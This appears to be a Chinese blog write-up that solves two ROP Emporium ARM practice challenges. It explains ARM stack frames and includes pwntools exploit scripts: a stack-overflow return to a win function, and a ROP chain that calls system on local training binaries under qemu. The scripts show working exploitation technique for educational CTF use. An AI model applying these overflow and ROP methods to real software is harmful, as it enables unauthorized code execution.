由于网上的ARM pwn题很少很难找,因此这里拿ROP Emporium的8道题做练习,这个网站有包含x86-64、x86-32、MIPS、ARM共4种架构的elf文件可以做。
注意:在执行需要动态链接库加载的ARM elf文件时,如果直接使用qemu-arm xxx
有可能会报错:/lib/ld-linux.so.3: No such file or directory
。解决方法:安装arm交叉编译包apt install gcc-arm-linux-gnueabi
,找到交叉编译包的lib地址(一般都是/usr/arm-linux-gnueabi
),在命令后添加-L /usr/arm-linux-gnueabi
即可。
这是一道最为简单的栈溢出,ret2text。为了熟悉ARM指令,我们从汇编层面进行分析。
可以看到,在ARM的函数调用规则中,参数的赋值顺序是从右到左,如下方BL
指令调用read
函数前,首先将第3个参数nbytes
赋值给R2
寄存器。在pwnme
函数开头有一个PUSH
指令,这里的R11
可以看做是rbp
,LR
是函数返回值,在函数开头这两个寄存器基本都是要入栈的。然后保存R11
的值作为栈帧的标记,SP
下移留出栈空间。这就是函数开头需要完成的工作,与x86-64架构如出一辙。
下面看到read
函数的调用部分。第二个参数R1
的值为R11-0x24
,由于R11
在往上就是返回地址,因此要修改返回地址,应该先写入0x24长度的无效字节,然后写后门函数的返回地址。
最后看一下函数即将返回之前需要完成的工作。首先恢复SP
为R11-4
,然后R11
出栈,PC
出栈。在正常情况下,这里的R11
出栈后应该指向父函数的栈空间顶端。现在我们进行了栈溢出,修改了这里的值,R11
就无效了。
from pwn import *
context.arch='arm'
context.log_level='debug'
io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi/', './ret2win_armv5'])
io.sendlineafter(b'> ', cyclic(0x24) + p32(0x105ec))
io.interactive()
这里有一个有用的字符串和一个后门函数,只不过这个后门函数不能让我们拿到shell,很自然的想法就是调用system函数,参数改成那个字符串的地址。
由于该elf文件的加载地址固定,我们就直接在elf文件中寻找可用的gadget。
不同于x86-64架构,ARM架构下的gadget似乎要更少一些。如上图所示,只用pop
指令的gadget中没有能够pop r0
的,我们只能扩大范围进行查找:
于是我们找到了这个gadget,它可以和上面的pop {r3, pc}
连接起来,首先修改r3
的值,再修改r0
的值即可。于是我们的exp呼之欲出:
from pwn import *
context.arch='arm'
context.log_level='debug'
io = process(['qemu-arm-static', '-L', '/usr/arm-linux-gnueabi/', './split_armv5'])
popr3pc = 0x103a4
movr0r3_popfppc = 0x10558
shellstr = 0x2103c
callsystem = 0x105e0
io.sendlineafter(b'> ', cyclic(0x24) + p32(popr3pc) + p32(shellstr) + p32(movr0r3_popfppc) + p32(0) + p32(callsystem))
io.interactive()
PS:本来想发三道题的,但是这周末比赛打的太累了,第三题就留到后面一篇文章发了,还请谅解。